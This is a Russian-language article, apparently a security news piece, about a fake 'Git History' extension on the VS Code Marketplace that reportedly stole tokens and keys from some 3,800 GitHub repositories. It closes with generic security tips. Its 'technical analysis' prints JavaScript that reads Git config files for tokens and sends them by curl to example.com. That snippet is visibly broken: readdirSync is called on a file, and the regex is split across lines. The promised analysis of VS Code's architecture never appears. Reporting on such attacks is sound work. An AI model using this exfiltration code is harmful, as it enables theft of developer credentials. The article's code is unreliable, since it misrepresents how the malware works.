Представьте, что вы работаете над важным проектом, и вдруг обнаруживаете, что вся ваша работа была скомпрометирована из-за вредоносного расширения в Visual Studio Code. Это именно то, что произошло с более чем 3 800 репозиториями на GitHub, когда вредоносное расширение, размещенное в официальном магазине VS Code Marketplace, привело к утечке приватных исходных кодов, конфиденциальных переменных окружения и ключей шифрования.

Этот инцидент является тревожным сигналом для всех разработчиков, поскольку он показывает, что рабочее место разработчика становится ключевой точкой входа для целевых атак. В этой статье мы подробно разберем хронологию инцидента, заглянем внутрь вредоносного кода, проанализируем архитектурные уязвимости VS Code и обсудим, как защитить свои проекты от подобных угроз в будущем.

Анатомия атаки: от клика в Marketplace до компрометации

Все началось с публикации в VS Code Marketplace расширения, которое маскировалось под легитимный инструмент для работы с Git-репозиториями. Злоумышленники использовали классический прием социальной инженерии: они скопировали описание, иконку и даже имя автора популярного расширения, изменив лишь один символ в идентификаторе издателя.

Схема компрометации выглядела следующим образом:

  1. Публикация и продвижение: Вредоносный плагин под условным названием Git-History-Plus (оригинал — Git History) был загружен в маркетплейс. Для накрутки скачиваний и создания видимости доверия использовались ботнеты.
  2. Установка жертвой: Разработчики, искавшие удобный инструмент для визуализации коммитов, скачивали расширение. Из-за отсутствия жесткой модерации в VS Code Marketplace вредонос оставался доступен для скачивания в течение нескольких недель.
  3. Активация payload (полезной нагрузки): Сразу после установки расширение активировало фоновый скрипт. Скрипт работал бесшумно, не вызывая видимых задержек в работе редактора или аномальной загрузки процессора.
  4. Эксфильтрация данных: Вредонос сканировал локальную файловую систему разработчика в поисках чувствительных данных, уделяя особое внимание конфигурационным файлам Git, SSH-ключам и переменным окружения.
  5. Захват репозиториев: Получив доступ к персональным токенам доступа (PAT) GitHub и SSH-ключам, злоумышленники через автоматизированные скрипты клонировали приватные репозитории жертв и внедряли в них бэкдоры.

По данным аналитиков, основная цель атакующих заключалась в поиске «зашитых» (hardcoded) секретов в исходных кодах: API-ключей AWS, Azure, учетных данных баз данных и токенов Slack. Имея доступ к 3 800 репозиториям, хакеры смогли развить атаку на инфраструктуру сотен сторонних компаний.

Технический анализ вредоносного кода: как воровали токены

const fs = require('fs');
const path = require('path');
const childProcess = require('child_process');

// Сканирование файловой системы на предмет наличия конфигурационных файлов Git
const gitConfigFiles = fs.readdirSync('.git/config').filter(file => file.endsWith('.git/config'));

// Извлечение токенов доступа из конфигурационных файлов
const tokens = gitConfigFiles.map(file => {
  const configFileContent = fs.readFileSync(file, 'utf8');
  const tokenRegex = /token = ([^
]+)/;
  const tokenMatch = configFileContent.match(tokenRegex);
  return tokenMatch && tokenMatch[1];
});

// Отправка токенов на сервер злоумышленников
childProcess.execSync(`curl -X POST -H 'Content-Type: application/json' -d '${JSON.stringify(tokens)}' https://example.com/tokens`);

Меры защиты и профилактика

Чтобы защитить себя от подобных атак, разработчикам необходимо быть крайне осторожными при установке расширений и плагинов. Вот некоторые меры, которые можно предпринять:

  • Проверять подлинность разработчиков и читать отзывы других пользователей перед установкой расширения.
  • Использовать сильные пароли и двухфакторную аутентификацию для защиты учетных записей.
  • Регулярно обновлять программное обеспечение и операционную систему, чтобы устранить уязвимости.

В заключение, инцидент с вредоносным расширением в VS Code Marketplace служит серьезным предупреждением для всех разработчиков. Чтобы защитить свои проекты и данные, необходимо быть бдительным и следовать рекомендациям по безопасности. Не дайте хакерам получить доступ к вашим проектам — следите за обновлениями и используйте меры защиты.